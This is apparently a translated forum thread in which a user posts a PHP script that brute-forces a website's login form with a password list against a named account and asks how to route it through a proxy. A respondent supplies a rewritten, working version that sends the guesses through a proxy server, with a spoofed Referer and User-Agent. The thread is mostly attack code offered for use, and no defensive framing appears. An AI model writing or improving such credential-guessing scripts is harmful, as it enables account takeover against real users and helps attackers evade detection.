Hello! :)
Here is the actual code:

<?php $file = file($_SERVER['DOCUMENT_ROOT'].'/brut.txt'); foreach ($file as $password) { // открываем сокет на хост www.site.ru $fp = fsockopen('www.site.ru', 80, $errno, $errstr, 3000); // Проверяем успешность установки соединения if (!$fp) { echo $errstr.$errno; // вывод ошибки } else { // переменные $data = 'do=login&Submit=submit&username=ekimoff_sd@mail.ru&password='.$password; // заголовки $headers = "POST /login.php HTTP/1.1\r\n"; // POST-запрос для login.php $headers .= "Host: www.site.ru\r\n"; $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1\r\n"; $headers .= "Referer: http://www.site.ru\r\n"; // подделка Referer $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Content-Length: ".strlen($data)."\n\n"; $headers .= $data."\n\n"; // отправляем HTTP-запрос серверу fwrite($fp, $headers); // получаем ответ $line = ''; while (!feof($fp)) { $line .= fgets($fp, 1024); } unset($headers); fclose($fp); if (!strstr($line,'password=deleted')) { echo 'password: '.$password; break; } } } ?> 

How to this script, you can tie a proxy ( ip:port ). Help me please :(

    1 answer 1

    Specifically, this example to modify to work through a proxy server will not work out very well, but you can rewrite:

     <?php function post_request ( $post = array(), $proxy ) { $headers = array( 'Content-type: application/x-www-form-urlencoded', 'Referer: http://www.site.ru', 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ); return file_get_contents( 'http://www.site.ru/login.php', false, stream_context_create( array( 'http' => array( 'method' => 'POST', 'header' => implode("\r\n", $headers ), 'content' => http_build_query( $post ), 'proxy' => $proxy, 'request_fulluri' => true ) ) ) ); } $file = file($_SERVER['DOCUMENT_ROOT'].'/brut.txt'); foreach ( $file as $password ) { $line = post_request( array( 'do' => 'login', 'Submit' => 'submit', 'username' => 'ekimoff_sd@mail.ru', 'password' => $password ), 'tcp://proxy.sample.tld:3128' ); if (!strstr($line,'password=deleted')) { echo 'password: '.$password; break; } } 

    There are a few inaccuracies in the script, read the documentation for a better understanding and correction of them.

    • Thank you very much!!! - JavaBitz
    • @JavaBitz, do not forget to accept the answer. - angry